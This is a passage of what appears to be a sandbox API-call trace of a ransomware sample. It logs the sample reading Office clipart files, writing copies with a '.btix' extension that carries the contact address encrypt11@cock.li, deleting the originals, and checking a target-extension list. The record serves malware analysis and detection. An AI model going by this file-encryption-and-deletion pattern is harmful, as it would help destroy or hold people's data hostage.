| out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4752, lpOverlapped=0x0) returned 1 [0148.961] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4760, lpOverlapped=0x0) returned 1 [0148.962] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.962] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.962] SetEndOfFile (hFile=0x390) returned 1 [0148.962] CloseHandle (hObject=0x390) returned 1 [0148.962] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.962] SetEndOfFile (hFile=0x38c) returned 1 [0148.963] CloseHandle (hObject=0x38c) returned 1 [0148.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0148.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.964] lstrlenW (lpString=".doc") returned 4 [0148.964] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.964] lstrlenW (lpString=".docx") returned 5 [0148.964] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0148.964] lstrlenW (lpString=".pdf") returned 4 [0148.964] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.964] lstrlenW (lpString=".xls") returned 4 [0148.964] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.964] lstrlenW (lpString=".xlsx") returned 5 [0148.964] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0148.964] lstrlenW (lpString=".ppt") returned 4 [0148.964] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.964] lstrlenW (lpString=".zip") returned 4 [0148.964] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.964] lstrlenW (lpString=".rar") returned 4 [0148.964] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.964] lstrlenW (lpString=".bz2") returned 4 [0148.964] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.964] lstrlenW (lpString=".7z") returned 3 [0148.964] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.964] lstrlenW (lpString=".dbf") returned 4 [0148.964] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.964] lstrlenW (lpString=".1cd") returned 4 [0148.964] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.964] lstrlenW (lpString=".jpg") returned 4 [0148.964] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.965] lstrlenW (lpString=".doc") returned 4 [0148.965] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.965] lstrlenW (lpString=".docx") returned 5 [0148.965] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0148.965] lstrlenW (lpString=".pdf") returned 4 [0148.965] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.965] lstrlenW (lpString=".xls") returned 4 [0148.965] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.965] lstrlenW (lpString=".xlsx") returned 5 [0148.965] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0148.965] lstrlenW (lpString=".ppt") returned 4 [0148.965] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.965] lstrlenW (lpString=".zip") returned 4 [0148.965] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.965] lstrlenW (lpString=".rar") returned 4 [0148.965] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.965] lstrlenW (lpString=".bz2") returned 4 [0148.965] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.965] lstrlenW (lpString=".7z") returned 3 [0148.965] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.965] lstrlenW (lpString=".dbf") returned 4 [0148.965] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.965] lstrlenW (lpString=".1cd") returned 4 [0148.965] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0148.965] lstrlenW (lpString=".jpg") returned 4 [0148.965] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.966] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.966] lstrlenW (lpString="J0099149.WMF") returned 12 [0148.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.966] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=73214) returned 1 [0148.966] CloseHandle (hObject=0x38c) returned 1 [0148.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220 [0148.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.966] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.966] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.967] GetLastError () returned 0x0 [0148.967] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x11dfe, lpOverlapped=0x0) returned 1 [0148.968] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x11e00, lpOverlapped=0x0) returned 1 [0148.970] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.970] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.970] SetEndOfFile (hFile=0x390) returned 1 [0148.970] CloseHandle (hObject=0x390) returned 1 [0148.970] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.971] SetEndOfFile (hFile=0x38c) returned 1 [0148.972] CloseHandle (hObject=0x38c) returned 1 [0148.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0148.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.972] lstrlenW (lpString=".doc") returned 4 [0148.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.972] lstrlenW (lpString=".docx") returned 5 [0148.972] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.972] lstrlenW (lpString=".pdf") returned 4 [0148.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.972] lstrlenW (lpString=".xls") returned 4 [0148.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.972] lstrlenW (lpString=".xlsx") returned 5 [0148.972] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.972] lstrlenW (lpString=".ppt") returned 4 [0148.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.973] lstrlenW (lpString=".zip") returned 4 [0148.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.973] lstrlenW (lpString=".rar") returned 4 [0148.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.973] lstrlenW (lpString=".bz2") returned 4 [0148.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.973] lstrlenW (lpString=".7z") returned 3 [0148.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.973] lstrlenW (lpString=".dbf") returned 4 [0148.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.973] lstrlenW (lpString=".1cd") returned 4 [0148.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.973] lstrlenW (lpString=".jpg") returned 4 [0148.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.973] lstrlenW (lpString=".doc") returned 4 [0148.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.973] lstrlenW (lpString=".docx") returned 5 [0148.973] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.973] lstrlenW (lpString=".pdf") returned 4 [0148.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.973] lstrlenW (lpString=".xls") returned 4 [0148.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.973] lstrlenW (lpString=".xlsx") returned 5 [0148.973] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.973] lstrlenW (lpString=".ppt") returned 4 [0148.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.973] lstrlenW (lpString=".zip") returned 4 [0148.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.974] lstrlenW (lpString=".rar") returned 4 [0148.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.974] lstrlenW (lpString=".bz2") returned 4 [0148.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.974] lstrlenW (lpString=".7z") returned 3 [0148.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.974] lstrlenW (lpString=".dbf") returned 4 [0148.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.974] lstrlenW (lpString=".1cd") returned 4 [0148.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0148.974] lstrlenW (lpString=".jpg") returned 4 [0148.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.974] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0148.974] lstrlenW (lpString="J0099150.JPG") returned 12 [0148.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.974] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=21914) returned 1 [0148.974] CloseHandle (hObject=0x38c) returned 1 [0148.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0148.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.975] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.975] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.975] GetLastError () returned 0x0 [0148.975] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x559a, lpOverlapped=0x0) returned 1 [0148.976] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0148.978] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.978] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.978] SetEndOfFile (hFile=0x390) returned 1 [0148.978] CloseHandle (hObject=0x390) returned 1 [0148.978] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.978] SetEndOfFile (hFile=0x38c) returned 1 [0148.979] CloseHandle (hObject=0x38c) returned 1 [0148.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0148.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.979] lstrlenW (lpString=".doc") returned 4 [0148.979] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.979] lstrlenW (lpString=".docx") returned 5 [0148.980] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0148.980] lstrlenW (lpString=".pdf") returned 4 [0148.980] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.980] lstrlenW (lpString=".xls") returned 4 [0148.980] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.980] lstrlenW (lpString=".xlsx") returned 5 [0148.980] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0148.980] lstrlenW (lpString=".ppt") returned 4 [0148.980] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.980] lstrlenW (lpString=".zip") returned 4 [0148.980] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.980] lstrlenW (lpString=".rar") returned 4 [0148.980] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.980] lstrlenW (lpString=".bz2") returned 4 [0148.980] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.980] lstrlenW (lpString=".7z") returned 3 [0148.980] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.980] lstrlenW (lpString=".dbf") returned 4 [0148.980] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.980] lstrlenW (lpString=".1cd") returned 4 [0148.980] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.980] lstrlenW (lpString=".jpg") returned 4 [0148.980] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.980] lstrlenW (lpString=".doc") returned 4 [0148.980] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.980] lstrlenW (lpString=".docx") returned 5 [0148.980] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0148.981] lstrlenW (lpString=".pdf") returned 4 [0148.981] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.981] lstrlenW (lpString=".xls") returned 4 [0148.981] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.981] lstrlenW (lpString=".xlsx") returned 5 [0148.981] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0148.981] lstrlenW (lpString=".ppt") returned 4 [0148.981] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.981] lstrlenW (lpString=".zip") returned 4 [0148.981] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.981] lstrlenW (lpString=".rar") returned 4 [0148.981] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.981] lstrlenW (lpString=".bz2") returned 4 [0148.981] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.981] lstrlenW (lpString=".7z") returned 3 [0148.981] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.981] lstrlenW (lpString=".dbf") returned 4 [0148.981] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.981] lstrlenW (lpString=".1cd") returned 4 [0148.981] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0148.981] lstrlenW (lpString=".jpg") returned 4 [0148.981] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.981] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.981] lstrlenW (lpString="J0099151.WMF") returned 12 [0148.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.982] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=26086) returned 1 [0148.982] CloseHandle (hObject=0x38c) returned 1 [0148.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0148.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.982] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.982] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.982] GetLastError () returned 0x0 [0148.982] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0149.330] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0149.331] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.331] WriteFile 